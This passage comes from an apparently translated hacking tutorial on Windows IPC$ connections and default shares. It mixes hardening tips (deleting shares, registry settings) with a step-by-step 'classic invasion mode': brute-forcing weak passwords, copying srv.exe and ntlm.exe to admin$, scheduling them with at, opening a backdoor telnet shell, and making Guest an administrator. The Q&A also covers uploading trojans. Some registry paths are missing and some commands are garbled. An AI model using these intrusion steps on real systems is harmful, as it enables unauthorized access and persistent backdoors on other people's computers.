The IPC$ connection can implement remote login and access to default shares; and the opening of port 139 indicates the application of the netbios protocol. We can access shared files/printers through ports 139, 445 (win2000). Therefore, generally speaking, the IPC$ connection needs the support of port 139 or 445.
3) IPC$ and default share
The default share is a default-enabled share for the convenience of administrators' remote management (you can certainly close it), that is, all logical disks (c$, d$, e$...) and the system directory winnt or windows (admin$). We can access these default shares through the IPC$ connection (provided that the other party has not closed these default shares)
V. Reasons for IPC$ Connection Failure
The following 5 reasons are more common:
1) Your system is not an NT or above operating system;
2) The other party has not opened the IPC$ default share
3) The other party has not enabled port 139 or 445 (or is blocked by the firewall)
4) Your command input is incorrect (such as missing spaces, etc.)
5) The user name or password is incorrect (it doesn't matter for an empty connection)
In addition, you can also analyze the reason according to the returned error number:
Error number 5, access denied: It is very likely that the user you are using is not an administrator permission. First, elevate the permission;
Error number 51, Windows cannot find the network path: There is a problem with the network;
Error number 53, cannot find the network path: The IP address is incorrect; the target is not powered on; the target lanmanserver service is not started; the target has a firewall (port filtering);
Error number 67, cannot find the network name: Your lanmanworkstation service is not started; the target has deleted IPC$;
Error number 1219, the provided credentials conflict with the existing credentials set: You have already established an IPC$ with the other party. Please delete it and connect again.
Error number 1326, unknown user name or incorrect password: The reason is obvious;
Error number 1792, trying to log in, but the network login service is not started: The target NetLogon service is not started. (This situation will occur when connecting to a domain controller)
Error number 2242, the password of this user has expired: The target has an account policy that forcibly requires changing the password regularly.
The problem of IPC$ not connecting is relatively complicated. In addition to the above reasons, there will be other uncertain factors. I can't explain it in detail and definitely here. It depends on everyone's own experience and experiments.
VI. How to Open the Target's IPC$ (This section is quoted from related articles)
First, you need to obtain a shell that does not depend on IPC$, such as sql's cmd extension, telnet, trojan. Of course, this shell must be of admin permission. Then you can use the shell to execute the command net share ipc$ to open the target's IPC$. From the above, you can know that there are still many conditions for IPC$ to be usable. Please confirm that the relevant services are all running. If not, start it (if you don't know how to do it, please refer to the usage of the net command). If it still doesn't work (such as having a firewall and unable to kill it), it is recommended to give up.
VII. How to Prevent IPC$ Intrusion
1. Forbid enumeration by empty connection (this operation does not prevent the establishment of an empty connection, quoted from "Anatomy of Empty Sessions under win2000")
First, run regedit, find the following component and change the key value of RestrictAnonymous = DWORD to: 00000001 (if set to 2, some problems will occur, such as some WIN services having problems, etc.)
2. Forbid default share
1) View local shared resources
Run-cmd-enter net share
2) Delete share (enter one each time)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete (if there are e, f, etc., you can continue to delete)
3) Stop the server service
net stop server /y (the server service will restart after restarting)
4) Modify the registry
Run-regedit
For server version: find the following primary key and change the key value of AutoShareServer (DWORD) to: 00000000.
For pro version: find the following primary key and change the key value of AutoShareWks (DWORD) to: 00000000.
If the above-mentioned primary key does not exist, create a new one (right-click - new - double-byte value) and then change the key value.
3. Permanently close the services on which IPC$ and default share depend: lanmanserver is the server service
Control Panel-Administrative Tools-Services-Find the server service (right-click)-Properties-General-Startup type-Disabled
4. Install a firewall (select relevant settings), or port filtering (filter ports 139, 445, etc.), or use a new version of Optimizer
5. Set a complex password to prevent password brute-force through IPC$
VIII. Related Commands
1) Establish an empty connection:
net use \\IP\ipc$ "" /user:"" (Be sure to note: There are 3 spaces in this line of command)
2) Establish a non-empty connection:
net use \\IP\ipc$ "username" /user:"password" (There are also 3 spaces)
3) Map the default share:
net use z: \\IP\c$ "password" /user:"username" (You can map the other party's C drive as your own Z drive, and other drives are similar)
If you have already established an IPC$ with the target, you can directly access it using IP + drive letter + $, the specific command is net use z: \\IP\c$
4) Delete an IPC$ connection
net use \\IP\ipc$ /del
5) Delete the share mapping
net use c: /del Delete the mapped C drive, and other drives are similar
net use * /del Delete all, there will be a prompt requiring to press y to confirm
IX. Classic Invasion Mode
This invasion mode is too classic. Most IPC tutorials have introduced it, so I just quote it here. Thanks to the original author! (I don't know which senior)
1. C:\>net use \\127.0.0.1\IPC$ "password" /user:"username"
Generally, use Liuguang to get the administrator account and password by scanning weak passwords.
2. C:\>copy srv.exe \\127.0.0.1\admin$
First copy srv.exe上去. It is in the Tools directory of Liuguang (here, $ refers to c:\winnt\system32\ of the admin user. Everyone can also use c$, d$, which means C drive and D drive. It depends on where you want to copy it.)
3. C:\>net time \\127.0.0.1
Check the time. It is found that the current time of 127.0.0.1 is 11:00 AM on 2004/6/15, and the command is successfully completed.
4. C:\>at \\127.0.0.1 11:05 srv.exe
Use the at command to start srv.exe
5. C:\>net time \\127.0.0.1
Check the time again? If the current time of 127.0.0.1 is 11:05 AM on 2004/6/15, then prepare to start the following command.
6. C:\>telnet 127.0.0.1 99
Here, the Telnet command will be used. Note that the port is 99. The default Telnet port is 23, but we use SRV to establish a 99-port Shell for us on the other computer.
Although we can Telnet in, SRV is one-time. Next time we log in, we have to activate it again! So we plan to establish a Telnet service! This requires using ntlm
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
Use the Copy command to upload ntlm.exe to the host (ntlm.exe is also in the Tools directory of "Liuguang").
8. C:\WINNT\system32>ntlm
Enter ntlm to start (here, C:\WINNT\system32> refers to the other computer. Running ntlm actually runs this program on the other computer). When "DONE" appears, it means it has started normally. Then use "net start telnet" to start the Telnet service!
9. Telnet 127.0.0.1, then enter the user name and password to enter the other party. The operation is as simple as operating on DOS! (Then what do you want to do? Do whatever you want, haha)
To be on the safe side, we will activate the guest and add it to the management group
10. C:\>net user guest /active:yes
Activate the other party's Guest user
11. C:\>net user guest 1234
Change the password of Guest to 1234, or the password you want to set
12. C:\>net localgroup administrators guest /add
Change Guest to Administrator (if the administrator password is changed and the guest account is not changed, next time we can use guest to access this computer again)
Common Problems with IPC$:
1. How to establish an empty connection and what is its use?
Answer: Use the command net use \IP\ipc$ "" /user:"" to simply establish an empty connection with the target (the target needs to open IPC$).
For NT, under the default security settings, with the empty connection, you can enumerate target users, shares, access shares with everyone permissions, access a small part of the registry, etc., and it has no utilization value. It is even less useful for 2000. And it is not convenient to implement, and tools are needed.
2. Why can't I connect to IPC$?
Answer:
(1) Only NT/2000/xp and above systems can establish IPC$. If you are using 98/me, you don't have this function.
(2) Confirm that your command is not typed incorrectly. The correct command is: net use \target IPipc$ "password" /user:"username"
Note that there are no extra or missing spaces. When the user name and password do not contain spaces, the double quotes on both sides can be omitted. An empty password is represented by "".
3. Analyze the reason according to the returned error number:
Error number 5, access denied: It is very likely that the user you are using is not an administrator permission. First, elevate the permission;
Error number 51, Windows cannot find the network path: There is a problem with the network;
Error number 53, cannot find the network path: The IP address is incorrect; the target is not powered on; the target lanmanserver service is not started; the target has a firewall (port filtering);
Error number 67, cannot find the network name: Your lanmanworkstation service is not started; the target has deleted IPC$;
Error number 1219, the provided credentials conflict with the existing credentials set: You have already established an IPC$ with the other party. Please delete it and connect again.
Error number 1326, unknown user name or incorrect password: The reason is obvious;
Error number 1792, trying to log in, but the network login service is not started: The target NetLogon service is not started. (This situation will occur when connecting to a domain controller)
Error number 2242, the password of this user has expired: The target has an account policy that forcibly requires changing the password regularly.
4. The problem of IPC$ not connecting is relatively complicated. There is no unified understanding summarized. When experimenting on the chicken, sometimes contradictory conclusions are drawn, which is very tricky. And knowing the problem, if you don't get a shell in other ways, many problems still cannot be solved.
5. How to open the target's IPC$?
Answer: First, you need to obtain a shell that does not depend on IPC$, such as sql's cmd extension, telnet, trojan. Of course, this shell must be of admin permission. Then you can use the shell to execute the command net share ipc$ to open the target's IPC$. From the previous question, you can know that there are still many conditions for IPC$ to be usable. Please confirm that the relevant services are all running. If not, start it (if you don't know how to do it, please refer to the usage of the net command). If it still doesn't work (such as having a firewall and unable to kill it), it is recommended to give up.
6. How to map and access the default share?
Answer: Use the command net use z: \\target IP\c$ "password" /user:"username" to map the other party's C drive as your own Z drive, and other drives are similar.
If you have already established an IPC$ with the target, you can directly access it using IP plus drive letter plus $. For example, copy muma.exe \\IP\d$\path\muma.exe. Or you can map it again, but without the user name and password: net use y: \\IP\d$. Then copy muma.exe y:\path\muma.exe. When the path contains spaces, the entire path must be enclosed in "".
7. How to delete the mapping and IPC$ connection?
Answer: Use the command net use \\IP\ipc$ /del to delete an IPC$ connection with a target.
Use the command net use z: /del to delete the mapped Z drive, and other drives are similar.
Use the command net use * /del to delete all. There will be a prompt requiring to press y to confirm.
8. After connecting to IPC$, what can I do?
Answer: Successfully connecting to IPC$ with an administrator permission account means that you can have in-depth "communication" with the other party's system. You can use various command-line tools (such as pstools series, Win2000SrvReskit, telnethack, etc.) to obtain target information, manage target processes and services, etc. If the target opens the default share (if it is not opened, you can help it open), you can upload a trojan and run it. You can also use methods such as tftp and ftp to upload. Tools (trojans) like dwrcc, VNC, RemoteAdmin also have direct screen control functions. If it is 2000server, you can also consider enabling terminal services for convenient control. For the use of the tools mentioned here, please refer to the自带 instructions or relevant tutorials.
9. How to prevent others from invading me using ips$ and default share?
Answer:
A. One way is to delete IPC$ and default share. But it will still be there after restarting. This requires modifying the registry.
1. First delete the existing ones
net share ipc$ /del
net share admin$ /del
net share c$ /del
………… (Delete as many as there are)
2. Forbid others to make empty connections
First, run regedit, find the following primary key and change the key value of RestrictAnonymous (DWORD) to: 00000002.
3. Forbid automatic opening of default share
For server version, find the following primary key and change the key value of AutoShareServer (DWORD) to: 00000000.
For pro version, it is and change the key value of AutoShareWks (DWORD) to: 00000000.
If the above-mentioned primary key does not exist, create a new one and then change the key value.
B. Another way is to close the services on which IPC$ and default share depend (not recommended)
net stop lanmanserver
There may be a prompt saying that XXX service will also be closed. Do you want to continue? Because there are still some secondary services that depend on lanmanserver. Generally, press y to continue.
C. The simplest way is to set a complex password to prevent password brute-force through IPC$. But if you have other vulnerabilities, IPC$ will provide convenience for further intrusion.
D. Another way is to install a firewall or port filtering.
|